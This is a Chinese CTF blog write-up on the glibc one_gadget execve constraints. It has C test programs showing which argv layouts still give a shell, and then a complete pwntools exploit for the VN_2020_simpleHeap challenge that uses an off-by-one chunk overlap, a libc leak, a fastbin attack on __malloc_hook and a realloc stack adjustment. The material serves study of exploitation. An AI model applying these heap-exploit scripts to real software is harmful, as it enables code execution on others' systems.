关于One_gadget不满足约束玄学Getshell的问题

之前已经详细说过了one_gadget的约束条件以及如何利用realloc来调整栈来满足这些约束。

最近shiroha师傅分享的一个小问题,就是遇到one_gadget不满足约束的情况下仍然可以getshell,先贴出来参考

按照参考来说的话,第二个one_gadget:

execve(“/bin/sh”, rsp+0x40, environ)

第一个参数为”/bin/sh”、第三个参数为environ环境变量数组是ok的,因此是要满足第二个参数的限制条件即可,也就是argv数组为空,但是根据参考来说,只要末尾为空即可。

rsp+0x40--->argv[0]
rsp+0x48--->argv[1]
·
·
·
rsp+0xXX--->NULL

也就是说满足上述条件即可,实践出真知,我们走一遍流程。

这里shiroha师傅已经进行了测试,我只是按照师傅的思路复现一遍。

libc-2.27

情况一

#include <stdio.h>
#include <stdlib.h>

int main(){
    char* sh = "/bin/sh";
    char* envp[] = {0,NULL};
    char* argv[] = {"aaaaaaaa",NULL};

    execve(sh,argv,envp);
    
    return 0;

}

这种情况是假设argv第一项是个合法指针,末尾为空,可以看到getshell成功。(双引号)

情况二

#include <stdio.h>
#include <stdlib.h>

int main(){
    char* sh = "/bin/sh";
    char* envp[] = {0,NULL};
    char* argv[] = {NULL,'aabbbbb','aaaaaaaa'};

    execve(sh,argv,envp);
    
    return 0;

}

因为数组碰到NULL就结束掉了,所以仍然满足argv为空的条件。

情况三

#include <stdio.h>
#include <stdlib.h>

int main(){
    char* sh = "/bin/sh";
    char* envp[] = {0,NULL};
    char* argv[] = {'aabbbbb','aaaaaaaa',NULL};

    execve(sh,argv,envp);
    
    return 0;

}

让然假设末尾为NULL,但前面还有两个参数(非合法指针,单引号)

可以看到不满足条件,无法getshell。

情况四

#include <stdio.h>
#include <stdlib.h>

int main(){
    char* sh = "/bin/sh";
    char* envp[] = {0,NULL};
    char* argv[] = {"aaaaaaaa",'aaaaa',NULL};

    execve(sh,argv,envp);
    
    return 0;

}

假设第一个为合法指针,第二个不合法,第三个为NULL仍然无法getshell。

情况五

#include <stdio.h>
#include <stdlib.h>

int main(){
    char* sh = "/bin/sh";
    char* envp[] = {0,NULL};
    char* argv[] = {"aaaaaaaa","bbb",NULL};

    execve(sh,argv,envp);
    
    return 0;

}

前两项为正常指针,最后为NULL仍然无法getshell。

结论

结论就很明显了,要想getshell需满足下列任意条件:

  1. argv第一项为合法指针,第二项为NULL。
  2. argv第一项为NULL,后面随意。

上述结论均是在execve()第一个参数为”/bin/sh”并且第三个参数为合法的envp的条件下得出的。

实例-VN_2020_simpleHeap

功能还是很齐全的。

可以有10个大小最大为0x7f的chunk,分别有list和size数组存放相应数据。

这里其实有一个挺明显的off-by-one。

show和delete就不详细说了,比较常规并且没没有什么问题,所以现在我们就是要用这个off-by-one来形成unsorted bin来leak libc以及fastbin attack。

其实就是overlapping就可以啦。

这里大家都懂,不赘述了。

###leak libc###
add(0x18,'aaaa')#0
add(0x60,'bbbb')#1
add(0x60,'cccc')#2
add(0x18,'dddd')#3
add(0x60,'eeee')#4

payload = 'A' * 0x10 + p64(0x21) + '\xe1'
edit(0,payload)

delete(1)
delete(2)

add(0x20,'aaaaaaaa')
show(1)

ru('a'*0x8)
libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 296 - 0x3c4b20

success("libc base:"+hex(libc_base))

可以看到overlapping的chunk被申请出来0x30,并且其中第二个chunk是free状态的,但是不可以通过整个因为最大size有限制,可以通过申请出来一部分修改fd打malloc_hook就行了。

###fastbin attack###
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x4527a

payload = 'A' * 0x30 + p64(0) + p64(0x71) + p64(malloc_hook - 0x23)
add(0x50,payload)

add(0x60,'fastbin attack')
payload = 'A' * (0x13 - 0x8) + p64(one_gadget) + p64(realloc+0x10)
add(0x60,payload)

根据之前说过的如何确定满足one_gadget的情况,我们还是这么来看(首先控制realloc跳到sub rsp那里然后观察约束条件以及可调整范围内有没有满足的情况)。

但是跳过来发现已经满足约束了,即满足argv第一项为NULL,后面任意的情况

但是这样就和之前说的满足常规约束一样了,所以突出性不强,我们发现NULL前面还有一个合法指针,如果我们跳到这里能否getshell呢?

明显地,执行最后一次push压低栈0x8即可,也就是realloc+0xC。

argv如愿以偿地指向了合法指针,后面是NULL。

确实getshell,验证了我们两个满足one_gadget的条件。

#Exp


def menu(cmd):
    sla("choice: ",str(cmd))

def add(size,content='a'):
	menu(1)
	sla('?',str(size))
	sda(':',content)

def delete(index):
	menu(4)
	sla('?',str(index))

def edit(index,content):
	menu(2)
	sla('?',str(index))
	sda(':',content)

def show(index):
	menu(3)
	sla('?',str(index))

###leak libc###
add(0x18,'aaaa')#0
add(0x60,'bbbb')#1
add(0x60,'cccc')#2
add(0x18,'dddd')#3
add(0x60,'eeee')#4

payload = 'A' * 0x10 + p64(0x21) + '\xe1'
edit(0,payload)

delete(1)
delete(2)

add(0x20,'aaaaaaaa')
show(1)

ru('a'*0x8)
libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 296 - 0x3c4b20

success("libc base:"+hex(libc_base))
###fastbin attack###
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x4526a

payload = 'A' * 0x30 + p64(0) + p64(0x71) + p64(malloc_hook - 0x23)
add(0x50,payload)

add(0x60,'fastbin attack')
payload = 'A' * (0x13-0x8) + p64(one_gadget) + p64(realloc + 0xC)
add(0x60,payload)

success(hex(one_gadget))

#gdb.attach(p)
###get shell###
ia()

Leave a Reply

Your email address will not be published. Required fields are marked *

2 + 5 =